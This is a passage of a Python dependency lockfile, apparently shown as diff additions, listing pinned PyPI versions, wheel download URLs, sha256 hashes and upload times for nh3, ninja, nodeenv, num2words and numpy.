"sha256:fcff321bd60c6c5c9cb4ddf2554e22772bb41ebd93ad88171bbbb6f271255286", size = 1297678, upload-time = "2025-02-25T13:37:56.063Z" }, + { url = "https://files.pythonhosted.org/packages/22/ee/d0ad8fb4b5769f073b2df6807f69a5e57ca9cea504b78809921aef460d20/nh3-0.2.21-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31eedcd7d08b0eae28ba47f43fd33a653b4cdb271d64f1aeda47001618348fde", size = 733774, upload-time = "2025-02-25T13:37:58.419Z" }, + { url = "https://files.pythonhosted.org/packages/ea/76/b450141e2d384ede43fe53953552f1c6741a499a8c20955ad049555cabc8/nh3-0.2.21-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d426d7be1a2f3d896950fe263332ed1662f6c78525b4520c8e9861f8d7f0d243", size = 760012, upload-time = "2025-02-25T13:38:01.017Z" }, + { url = "https://files.pythonhosted.org/packages/97/90/1182275db76cd8fbb1f6bf84c770107fafee0cb7da3e66e416bcb9633da2/nh3-0.2.21-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9d67709bc0d7d1f5797b21db26e7a8b3d15d21c9c5f58ccfe48b5328483b685b", size = 923619, upload-time = "2025-02-25T13:38:02.617Z" }, + { url = "https://files.pythonhosted.org/packages/29/c7/269a7cfbec9693fad8d767c34a755c25ccb8d048fc1dfc7a7d86bc99375c/nh3-0.2.21-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:55823c5ea1f6b267a4fad5de39bc0524d49a47783e1fe094bcf9c537a37df251", size = 1000384, upload-time = "2025-02-25T13:38:04.402Z" }, + { url = "https://files.pythonhosted.org/packages/68/a9/48479dbf5f49ad93f0badd73fbb48b3d769189f04c6c69b0df261978b009/nh3-0.2.21-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:818f2b6df3763e058efa9e69677b5a92f9bc0acff3295af5ed013da544250d5b", size = 918908, upload-time = "2025-02-25T13:38:06.693Z" }, + { url = "https://files.pythonhosted.org/packages/d7/da/0279c118f8be2dc306e56819880b19a1cf2379472e3b79fc8eab44e267e3/nh3-0.2.21-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:b3b5c58161e08549904ac4abd450dacd94ff648916f7c376ae4b2c0652b98ff9", size = 909180, upload-time = "2025-02-25T13:38:10.941Z" }, + { url = "https://files.pythonhosted.org/packages/26/16/93309693f8abcb1088ae143a9c8dbcece9c8f7fb297d492d3918340c41f1/nh3-0.2.21-cp313-cp313t-win32.whl", hash = "sha256:637d4a10c834e1b7d9548592c7aad760611415fcd5bd346f77fd8a064309ae6d", size = 532747, upload-time = "2025-02-25T13:38:12.548Z" }, + { url = "https://files.pythonhosted.org/packages/a2/3a/96eb26c56cbb733c0b4a6a907fab8408ddf3ead5d1b065830a8f6a9c3557/nh3-0.2.21-cp313-cp313t-win_amd64.whl", hash = "sha256:713d16686596e556b65e7f8c58328c2df63f1a7abe1277d87625dcbbc012ef82", size = 528908, upload-time = "2025-02-25T13:38:14.059Z" }, + { url = "https://files.pythonhosted.org/packages/ba/1d/b1ef74121fe325a69601270f276021908392081f4953d50b03cbb38b395f/nh3-0.2.21-cp38-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:a772dec5b7b7325780922dd904709f0f5f3a79fbf756de5291c01370f6df0967", size = 1316133, upload-time = "2025-02-25T13:38:16.601Z" }, + { url = "https://files.pythonhosted.org/packages/b8/f2/2c7f79ce6de55b41e7715f7f59b159fd59f6cdb66223c05b42adaee2b645/nh3-0.2.21-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d002b648592bf3033adfd875a48f09b8ecc000abd7f6a8769ed86b6ccc70c759", size = 758328, upload-time = "2025-02-25T13:38:18.972Z" }, + { url = "https://files.pythonhosted.org/packages/6d/ad/07bd706fcf2b7979c51b83d8b8def28f413b090cf0cb0035ee6b425e9de5/nh3-0.2.21-cp38-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2a5174551f95f2836f2ad6a8074560f261cf9740a48437d6151fd2d4d7d617ab", size = 747020, upload-time = "2025-02-25T13:38:20.571Z" }, + { url = "https://files.pythonhosted.org/packages/75/99/06a6ba0b8a0d79c3d35496f19accc58199a1fb2dce5e711a31be7e2c1426/nh3-0.2.21-cp38-abi3-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:b8d55ea1fc7ae3633d758a92aafa3505cd3cc5a6e40470c9164d54dff6f96d42", size = 944878, upload-time = "2025-02-25T13:38:22.204Z" }, + { url = "https://files.pythonhosted.org/packages/79/d4/dc76f5dc50018cdaf161d436449181557373869aacf38a826885192fc587/nh3-0.2.21-cp38-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6ae319f17cd8960d0612f0f0ddff5a90700fa71926ca800e9028e7851ce44a6f", size = 903460, upload-time = "2025-02-25T13:38:25.951Z" }, + { url = "https://files.pythonhosted.org/packages/cd/c3/d4f8037b2ab02ebf5a2e8637bd54736ed3d0e6a2869e10341f8d9085f00e/nh3-0.2.21-cp38-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:63ca02ac6f27fc80f9894409eb61de2cb20ef0a23740c7e29f9ec827139fa578", size = 839369, upload-time = "2025-02-25T13:38:28.174Z" }, + { url = "https://files.pythonhosted.org/packages/11/a9/1cd3c6964ec51daed7b01ca4686a5c793581bf4492cbd7274b3f544c9abe/nh3-0.2.21-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5f77e62aed5c4acad635239ac1290404c7e940c81abe561fd2af011ff59f585", size = 739036, upload-time = "2025-02-25T13:38:30.539Z" }, + { url = "https://files.pythonhosted.org/packages/fd/04/bfb3ff08d17a8a96325010ae6c53ba41de6248e63cdb1b88ef6369a6cdfc/nh3-0.2.21-cp38-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:087ffadfdcd497658c3adc797258ce0f06be8a537786a7217649fc1c0c60c293", size = 768712, upload-time = "2025-02-25T13:38:32.992Z" }, + { url = "https://files.pythonhosted.org/packages/9e/aa/cfc0bf545d668b97d9adea4f8b4598667d2b21b725d83396c343ad12bba7/nh3-0.2.21-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:ac7006c3abd097790e611fe4646ecb19a8d7f2184b882f6093293b8d9b887431", size = 930559, upload-time = "2025-02-25T13:38:35.204Z" }, + { url = "https://files.pythonhosted.org/packages/78/9d/6f5369a801d3a1b02e6a9a097d56bcc2f6ef98cffebf03c4bb3850d8e0f0/nh3-0.2.21-cp38-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:6141caabe00bbddc869665b35fc56a478eb774a8c1dfd6fba9fe1dfdf29e6efa", size = 1008591, upload-time = "2025-02-25T13:38:37.099Z" }, + { url = "https://files.pythonhosted.org/packages/a6/df/01b05299f68c69e480edff608248313cbb5dbd7595c5e048abe8972a57f9/nh3-0.2.21-cp38-abi3-musllinux_1_2_i686.whl", hash = "sha256:20979783526641c81d2f5bfa6ca5ccca3d1e4472474b162c6256745fbfe31cd1", size = 925670, upload-time = "2025-02-25T13:38:38.696Z" }, + { url = "https://files.pythonhosted.org/packages/3d/79/bdba276f58d15386a3387fe8d54e980fb47557c915f5448d8c6ac6f7ea9b/nh3-0.2.21-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a7ea28cd49293749d67e4fcf326c554c83ec912cd09cd94aa7ec3ab1921c8283", size = 917093, upload-time = "2025-02-25T13:38:40.249Z" }, + { url = "https://files.pythonhosted.org/packages/e7/d8/c6f977a5cd4011c914fb58f5ae573b071d736187ccab31bfb1d539f4af9f/nh3-0.2.21-cp38-abi3-win32.whl", hash = "sha256:6c9c30b8b0d291a7c5ab0967ab200598ba33208f754f2f4920e9343bdd88f79a", size = 537623, upload-time = "2025-02-25T13:38:41.893Z" }, + { url = "https://files.pythonhosted.org/packages/23/fc/8ce756c032c70ae3dd1d48a3552577a325475af2a2f629604b44f571165c/nh3-0.2.21-cp38-abi3-win_amd64.whl", hash = "sha256:bb0014948f04d7976aabae43fcd4cb7f551f9f8ce785a4c9ef66e6c2590f8629", size = 535283, upload-time = "2025-02-25T13:38:43.355Z" }, +] + +[[package]] +name = "ninja" +version = "1.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/73/79a0b22fc731989c708068427579e840a6cf4e937fe7ae5c5d0b7356ac22/ninja-1.13.0.tar.gz", hash = "sha256:4a40ce995ded54d9dc24f8ea37ff3bf62ad192b547f6c7126e7e25045e76f978", size = 242558, upload-time = "2025-08-11T15:10:19.421Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/74/d02409ed2aa865e051b7edda22ad416a39d81a84980f544f8de717cab133/ninja-1.13.0-py3-none-macosx_10_9_universal2.whl", hash = "sha256:fa2a8bfc62e31b08f83127d1613d10821775a0eb334197154c4d6067b7068ff1", size = 310125, upload-time = "2025-08-11T15:09:50.971Z" }, + { url = "https://files.pythonhosted.org/packages/8e/de/6e1cd6b84b412ac1ef327b76f0641aeb5dcc01e9d3f9eee0286d0c34fd93/ninja-1.13.0-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3d00c692fb717fd511abeb44b8c5d00340c36938c12d6538ba989fe764e79630", size = 177467, upload-time = "2025-08-11T15:09:52.767Z" }, + { url = "https://files.pythonhosted.org/packages/c8/83/49320fb6e58ae3c079381e333575fdbcf1cca3506ee160a2dcce775046fa/ninja-1.13.0-py3-none-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:be7f478ff9f96a128b599a964fc60a6a87b9fa332ee1bd44fa243ac88d50291c", size = 187834, upload-time = "2025-08-11T15:09:54.115Z" }, + { url = "https://files.pythonhosted.org/packages/56/c7/ba22748fb59f7f896b609cd3e568d28a0a367a6d953c24c461fe04fc4433/ninja-1.13.0-py3-none-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:60056592cf495e9a6a4bea3cd178903056ecb0943e4de45a2ea825edb6dc8d3e", size = 202736, upload-time = "2025-08-11T15:09:55.745Z" }, + { url = "https://files.pythonhosted.org/packages/79/22/d1de07632b78ac8e6b785f41fa9aad7a978ec8c0a1bf15772def36d77aac/ninja-1.13.0-py3-none-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:1c97223cdda0417f414bf864cfb73b72d8777e57ebb279c5f6de368de0062988", size = 179034, upload-time = "2025-08-11T15:09:57.394Z" }, + { url = "https://files.pythonhosted.org/packages/ed/de/0e6edf44d6a04dabd0318a519125ed0415ce437ad5a1ec9b9be03d9048cf/ninja-1.13.0-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fb46acf6b93b8dd0322adc3a4945452a4e774b75b91293bafcc7b7f8e6517dfa", size = 180716, upload-time = "2025-08-11T15:09:58.696Z" }, + { url = "https://files.pythonhosted.org/packages/54/28/938b562f9057aaa4d6bfbeaa05e81899a47aebb3ba6751e36c027a7f5ff7/ninja-1.13.0-py3-none-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4be9c1b082d244b1ad7ef41eb8ab088aae8c109a9f3f0b3e56a252d3e00f42c1", size = 146843, upload-time = "2025-08-11T15:10:00.046Z" }, + { url = "https://files.pythonhosted.org/packages/2a/fb/d06a3838de4f8ab866e44ee52a797b5491df823901c54943b2adb0389fbb/ninja-1.13.0-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:6739d3352073341ad284246f81339a384eec091d9851a886dfa5b00a6d48b3e2", size = 154402, upload-time = "2025-08-11T15:10:01.657Z" }, + { url = "https://files.pythonhosted.org/packages/31/bf/0d7808af695ceddc763cf251b84a9892cd7f51622dc8b4c89d5012779f06/ninja-1.13.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:11be2d22027bde06f14c343f01d31446747dbb51e72d00decca2eb99be911e2f", size = 552388, upload-time = "2025-08-11T15:10:03.349Z" }, + { url = "https://files.pythonhosted.org/packages/9d/70/c99d0c2c809f992752453cce312848abb3b1607e56d4cd1b6cded317351a/ninja-1.13.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:aa45b4037b313c2f698bc13306239b8b93b4680eb47e287773156ac9e9304714", size = 472501, upload-time = "2025-08-11T15:10:04.735Z" }, + { url = "https://files.pythonhosted.org/packages/9f/43/c217b1153f0e499652f5e0766da8523ce3480f0a951039c7af115e224d55/ninja-1.13.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5f8e1e8a1a30835eeb51db05cf5a67151ad37542f5a4af2a438e9490915e5b72", size = 638280, upload-time = "2025-08-11T15:10:06.512Z" }, + { url = "https://files.pythonhosted.org/packages/8c/45/9151bba2c8d0ae2b6260f71696330590de5850e5574b7b5694dce6023e20/ninja-1.13.0-py3-none-musllinux_1_2_ppc64le.whl", hash = "sha256:3d7d7779d12cb20c6d054c61b702139fd23a7a964ec8f2c823f1ab1b084150db", size = 642420, upload-time = "2025-08-11T15:10:08.35Z" }, + { url = "https://files.pythonhosted.org/packages/3c/fb/95752eb635bb8ad27d101d71bef15bc63049de23f299e312878fc21cb2da/ninja-1.13.0-py3-none-musllinux_1_2_riscv64.whl", hash = "sha256:d741a5e6754e0bda767e3274a0f0deeef4807f1fec6c0d7921a0244018926ae5", size = 585106, upload-time = "2025-08-11T15:10:09.818Z" }, + { url = "https://files.pythonhosted.org/packages/c1/31/aa56a1a286703800c0cbe39fb4e82811c277772dc8cd084f442dd8e2938a/ninja-1.13.0-py3-none-musllinux_1_2_s390x.whl", hash = "sha256:e8bad11f8a00b64137e9b315b137d8bb6cbf3086fbdc43bf1f90fd33324d2e96", size = 707138, upload-time = "2025-08-11T15:10:11.366Z" }, + { url = "https://files.pythonhosted.org/packages/34/6f/5f5a54a1041af945130abdb2b8529cbef0cdcbbf9bcf3f4195378319d29a/ninja-1.13.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b4f2a072db3c0f944c32793e91532d8948d20d9ab83da9c0c7c15b5768072200", size = 581758, upload-time = "2025-08-11T15:10:13.295Z" }, + { url = "https://files.pythonhosted.org/packages/95/97/51359c77527d45943fe7a94d00a3843b81162e6c4244b3579fe8fc54cb9c/ninja-1.13.0-py3-none-win32.whl", hash = "sha256:8cfbb80b4a53456ae8a39f90ae3d7a2129f45ea164f43fadfa15dc38c4aef1c9", size = 267201, upload-time = "2025-08-11T15:10:15.158Z" }, + { url = "https://files.pythonhosted.org/packages/29/45/c0adfbfb0b5895aa18cec400c535b4f7ff3e52536e0403602fc1a23f7de9/ninja-1.13.0-py3-none-win_amd64.whl", hash = "sha256:fb8ee8719f8af47fed145cced4a85f0755dd55d45b2bddaf7431fa89803c5f3e", size = 309975, upload-time = "2025-08-11T15:10:16.697Z" }, + { url = "https://files.pythonhosted.org/packages/df/93/a7b983643d1253bb223234b5b226e69de6cda02b76cdca7770f684b795f5/ninja-1.13.0-py3-none-win_arm64.whl", hash = "sha256:3c0b40b1f0bba764644385319028650087b4c1b18cdfa6f45cb39a3669b81aa9", size = 290806, upload-time = "2025-08-11T15:10:18.018Z" }, +] + +[[package]] +name = "nodeenv" +version = "1.9.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/16/fc88b08840de0e0a72a2f9d8c6bae36be573e475a6326ae854bcc549fc45/nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f", size = 47437, upload-time = "2024-06-04T18:44:11.171Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/1d/1b658dbd2b9fa9c4c9f32accbfc0205d532c8c6194dc0f2a4c0428e7128a/nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9", size = 22314, upload-time = "2024-06-04T18:44:08.352Z" }, +] + +[[package]] +name = "num2words" +version = "0.5.14" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "docopt" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f6/58/ad645bd38b4b648eb2fc2ba1b909398e54eb0cbb6a7dbd2b4953e38c9621/num2words-0.5.14.tar.gz", hash = "sha256:b066ec18e56b6616a3b38086b5747daafbaa8868b226a36127e0451c0cf379c6", size = 218213, upload-time = "2024-12-17T20:17:10.191Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d6/5b/545e9267a1cc080c8a1be2746113a063e34bcdd0f5173fd665a5c13cb234/num2words-0.5.14-py3-none-any.whl", hash = "sha256:1c8e5b00142fc2966fd8d685001e36c4a9911e070d1b120e1beb721fa1edb33d", size = 163525, upload-time = "2024-12-17T20:17:06.074Z" }, +] + +[[package]] +name = "numpy" +version = "2.2.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/76/21/7d2a95e4bba9dc13d043ee156a356c0a8f0c6309dff6b21b4d71a073b8a8/numpy-2.2.6.tar.gz", hash = "sha256:e29554e2bef54a90aa5cc07da6ce955accb83f21ab5de01a62c8478897b264fd", size = 20276440, upload-time = "2025-05-17T22:38:04.611Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3e/ed6db5be21ce87955c0cbd3009f2803f59fa08df21b5df06862e2d8e2bdd/numpy-2.2.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b412caa66f72040e6d268491a59f2c43bf03eb6c96dd8f0307829feb7fa2b6fb", size = 21165245, upload-time = "2025-05-17T21:27:58.555Z" }, + { url = "https://files.pythonhosted.org/packages/22/c2/4b9221495b2a132cc9d2eb862e21d42a009f5a60e45fc44b00118c174bff/numpy-2.2.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8e41fd67c52b86603a91c1a505ebaef50b3314de0213461c7a6e99c9a3beff90", size = 14360048, upload-time = "2025-05-17T21:28:21.406Z" }, + { url = "https://files.pythonhosted.org/packages/fd/77/dc2fcfc66943c6410e2bf598062f5959372735ffda175b39906d54f02349/numpy-2.2.6-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:37e990a01ae6ec7fe7fa1c26c55ecb672dd98b19c3d0e1d1f326fa13cb38d163", size = 5340542, upload-time = "2025-05-17T21:28:30.931Z" }, + { url = "https://files.pythonhosted.org/packages/7a/4f/1cb5fdc353a5f5cc7feb692db9b8ec2c3d6405453f982435efc52561df58/numpy-2.2.6-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:5a6429d4be8ca66d889b7cf70f536a397dc45ba6faeb5f8c5427935d9592e9cf", size = 6878301, upload-time = "2025-05-17T21:28:41.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/17/96a3acd228cec142fcb8723bd3cc39c2a474f7dcf0a5d16731980bcafa95/numpy-2.2.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:efd28d4e9cd7d7a8d39074a4d44c63eda73401580c5c76acda2ce969e0a38e83", size = 14297320, upload-time = "2025-05-17T21:29:02.78Z" }, + { url = "https://files.pythonhosted.org/packages/b4/63/3de6a34ad7ad6646ac7d2f55ebc6ad439dbbf9c4370017c50cf403fb19b5/numpy-2.2.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc7b73d02efb0e18c000e9ad8b83480dfcd5dfd11065997ed4c6747470ae8915", size = 16801050, upload-time = "2025-05-17T21:29:27.675Z" }, + { url = "https://files.pythonhosted.org/packages/07/b6/89d837eddef52b3d0cec5c6ba0456c1bf1b9ef6a6672fc2b7873c3ec4e2e/numpy-2.2.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74d4531beb257d2c3f4b261bfb0fc09e0f9ebb8842d82a7b4209415896adc680", size = 15807034, upload-time = "2025-05-17T21:29:51.102Z" }, + { url = "https://files.pythonhosted.org/packages/01/c8/dc6ae86e3c61cfec1f178e5c9f7858584049b6093f843bca541f94120920/numpy-2.2.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8fc377d995680230e83241d8a96def29f204b5782f371c532579b4f20607a289", size = 18614185, upload-time = "2025-05-17T21:30:18.703Z" }, + { url = "https://files.pythonhosted.org/packages/5b/c5/0064b1b7e7c89137b471ccec1fd2282fceaae0ab3a9550f2568782d80357/numpy-2.2.6-cp310-cp310-win32.whl", hash = "sha256:b093dd74e50a8cba3e873868d9e93a85b78e0daf2e98c6797566ad8044e8363d", size = 6527149, upload-time = "2025-05-17T21:30:29.788Z" }, + { url = "https://files.pythonhosted.org/packages/a3/dd/4b822569d6b96c39d1215dbae0582fd99954dcbcf0c1a13c61783feaca3f/numpy-2.2.6-cp310-cp310-win_amd64.whl", hash = "sha256:f0fd6321b839904e15c46e0d257fdd101dd7f530fe03fd6359c1ea63738703f3", size = 12904620, upload-time = "2025-05-17T21:30:48.994Z" }, + { url = "https://files.pythonhosted.org/packages/da/a8/4f83e2aa666a9fbf56d6118faaaf5f1974d456b1823fda0a176eff722839/numpy-2.2.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f9f1adb22318e121c5c69a09142811a201ef17ab257a1e66ca3025065b7f53ae", size = 21176963, upload-time = "2025-05-17T21:31:19.36Z" }, + { url = "https://files.pythonhosted.org/packages/b3/2b/64e1affc7972decb74c9e29e5649fac940514910960ba25cd9af4488b66c/numpy-2.2.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c820a93b0255bc360f53eca31a0e676fd1101f673dda8da93454a12e23fc5f7a", size = 14406743, upload-time = "2025-05-17T21:31:41.087Z" }, + { url = "https://files.pythonhosted.org/packages/4a/9f/0121e375000b5e50ffdd8b25bf78d8e1a5aa4cca3f185d41265198c7b834/numpy-2.2.6-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:3d70692235e759f260c3d837193090014aebdf026dfd167834bcba43e30c2a42", size = 5352616, upload-time = "2025-05-17T21:31:50.072Z" }, + { url = "https://files.pythonhosted.org/packages/31/0d/b48c405c91693635fbe2dcd7bc84a33a602add5f63286e024d3b6741411c/numpy-2.2.6-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:481b49095335f8eed42e39e8041327c05b0f6f4780488f61286ed3c01368d491", size = 6889579, upload-time = "2025-05-17T21:32:01.712Z" }, + { url = "https://files.pythonhosted.org/packages/52/b8/7f0554d49b565d0171eab6e99001846882000883998e7b7d9f0d98b1f934/numpy-2.2.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b64d8d4d17135e00c8e346e0a738deb17e754230d7e0810ac5012750bbd85a5a", size = 14312005, upload-time = "2025-05-17T21:32:23.332Z" }, + { url = "https://files.pythonhosted.org/packages/b3/dd/2238b898e51bd6d389b7389ffb20d7f4c10066d80351187ec8e303a5a475/numpy-2.2.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba10f8411898fc418a521833e014a77d3ca01c15b0c6cdcce6a0d2897e6dbbdf", size = 16821570, upload-time = "2025-05-17T21:32:47.991Z" }, + { url = "https://files.pythonhosted.org/packages/83/6c/44d0325722cf644f191042bf47eedad61c1e6df2432ed65cbe28509d404e/numpy-2.2.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:bd48227a919f1bafbdda0583705e547892342c26fb127219d60a5c36882609d1", size = 15818548, upload-time = "2025-05-17T21:33:11.728Z" }, + { url = "https://files.pythonhosted.org/packages/ae/9d/81e8216030ce66be25279098789b665d49ff19eef08bfa8cb96d4957f422/numpy-2.2.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9551a499bf125c1d4f9e250377c1ee2eddd02e01eac6644c080162c0c51778ab", size = 18620521, upload-time = "2025-05-17T21:33:39.139Z" }, + { url = "https://files.pythonhosted.org/packages/6a/fd/e19617b9530b031db51b0926eed5345ce8ddc669bb3bc0044b23e275ebe8/numpy-2.2.6-cp311-cp311-win32.whl", hash = "sha256:0678000bb9ac1475cd454c6b8c799206af8107e310843532b04d49649c717a47", size = 6525866, upload-time = "2025-05-17T21:33:50.273Z" }, + { url = "https://files.pythonhosted.org/packages/31/0a/f354fb7176b81747d870f7991dc763e157a934c717b67b58456bc63da3df/numpy-2.2.6-cp311-cp311-win_amd64.whl", hash = "sha256:e8213002e427c69c45a52bbd94163084025f533a55a59d6f9c5b820774ef3303", size = 12907455, upload-time = "2025-05-17T21:34:09.135Z" }, + { url = "https://files.pythonhosted.org/packages/82/5d/c00588b6cf18e1da539b45d3598d3557084990dcc4331960c15ee776ee41/numpy-2.2.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:41c5a21f4a04fa86436124d388f6ed60a9343a6f767fced1a8a71c3fbca038ff", size = 20875348, upload-time = "2025-05-17T21:34:39.648Z" }, + { url = "https://files.pythonhosted.org/packages/66/ee/560deadcdde6c2f90200450d5938f63a34b37e27ebff162810f716f6a230/numpy-2.2.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:de749064336d37e340f640b05f24e9e3dd678c57318c7289d222a8a2f543e90c", size = 14119362, upload-time = "2025-05-17T21:35:01.241Z" }, + { url = "https://files.pythonhosted.org/packages/3c/65/4baa99f1c53b30adf0acd9a5519078871ddde8d2339dc5a7fde80d9d87da/numpy-2.2.6-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:894b3a42502226a1cac872f840030665f33326fc3dac8e57c607905773cdcde3", size = 5084103, upload-time = "2025-05-17T21:35:10.622Z" }, + { url = "https://files.pythonhosted.org/packages/cc/89/e5a34c071a0570cc40c9a54eb472d113eea6d002e9ae12bb3a8407fb912e/numpy-2.2.6-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:71594f7c51a18e728451bb50cc60a3ce4e6538822731b2933209a1f3614e9282", size = 6625382, upload-time = "2025-05-17T21:35:21.414Z" }, + { url = "https://files.pythonhosted.org/packages/f8/35/8c80729f1ff76b3921d5c9487c7ac3de9b2a103b1cd05e905b3090513510/numpy-2.2.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2618db89be1b4e05f7a1a847a9c1c0abd63e63a1607d892dd54668dd92faf87", size = 14018462, upload-time = "2025-05-17T21:35:42.174Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3d/1e1db36cfd41f895d266b103df00ca5b3cbe965184df824dec5c08c6b803/numpy-2.2.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd83c01228a688733f1ded5201c678f0c53ecc1006ffbc404db9f7a899ac6249", size = 16527618, upload-time = "2025-05-17T21:36:06.711Z" }, + { url = "https://files.pythonhosted.org/packages/61/c6/03ed30992602c85aa3cd95b9070a514f8b3c33e31124694438d88809ae36/numpy-2.2.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37c0ca431f82cd5fa716eca9506aefcabc247fb27ba69c5062a6d3ade8cf8f49", size = 15505511, upload-time = "2025-05-17T21:36:29.965Z" }, + { url = "https://files.pythonhosted.org/packages/b7/25/5761d832a81df431e260719ec45de696414266613c9ee268394dd5ad8236/numpy-2.2.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fe27749d33bb772c80dcd84ae7e8df2adc920ae8297400dabec45f0dedb3f6de", size = 18313783, upload-time = "2025-05-17T21:36:56.883Z" }, + { url = "https://files.pythonhosted.org/packages/57/0a/72d5a3527c5ebffcd47bde9162c39fae1f90138c961e5296491ce778e682/numpy-2.2.6-cp312-cp312-win32.whl", hash = "sha256:4eeaae00d789f66c7a25ac5f34b71a7035bb474e679f410e5e1a94deb24cf2d4", size = 6246506, upload-time = "2025-05-17T21:37:07.368Z" }, + { url = "https://files.pythonhosted.org/packages/36/fa/8c9210162ca1b88529ab76b41ba02d433fd54fecaf6feb70ef9f124683f1/numpy-2.2.6-cp312-cp312-win_amd64.whl", hash = "sha256:c1f9540be57940698ed329904db803cf7a402f3fc200bfe599334c9bd84a40b2", size = 12614190, upload-time = "2025-05-17T21:37:26.213Z" }, + { url = "https://files.pythonhosted.org/packages/f9/5c/6657823f4f594f72b5471f1db1ab12e26e890bb2e41897522d134d2a3e81/numpy-2.2.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0811bb762109d9708cca4d0b13c4f67146e3c3b7cf8d34018c722adb2d957c84", size = 20867828, upload-time = "2025-05-17T21:37:56.699Z" }, + { url = "https://files.pythonhosted.org/packages/dc/9e/14520dc3dadf3c803473bd07e9b2bd1b69bc583cb2497b47000fed2fa92f/numpy-2.2.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:287cc3162b6f01463ccd86be154f284d0893d2b3ed7292439ea97eafa8170e0b", size = 14143006, upload-time = "2025-05-17T21:38:18.291Z" }, + { url = "https://files.pythonhosted.org/packages/4f/06/7e96c57d90bebdce9918412087fc22ca9851cceaf5567a45c1f404480e9e/numpy-2.2.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:f1372f041402e37e5e633e586f62aa53de2eac8d98cbfb822806ce4bbefcb74d", size = 5076765, upload-time = "2025-05-17T21:38:27.319Z" }, + { url = "https://files.pythonhosted.org/packages/73/ed/63d920c23b4289fdac96ddbdd6132e9427790977d5457cd132f18e76eae0/numpy-2.2.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:55a4d33fa519660d69614a9fad433be87e5252f4b03850642f88993f7b2ca566", size = 6617736, upload-time = "2025-05-17T21:38:38.141Z" }, + { url = 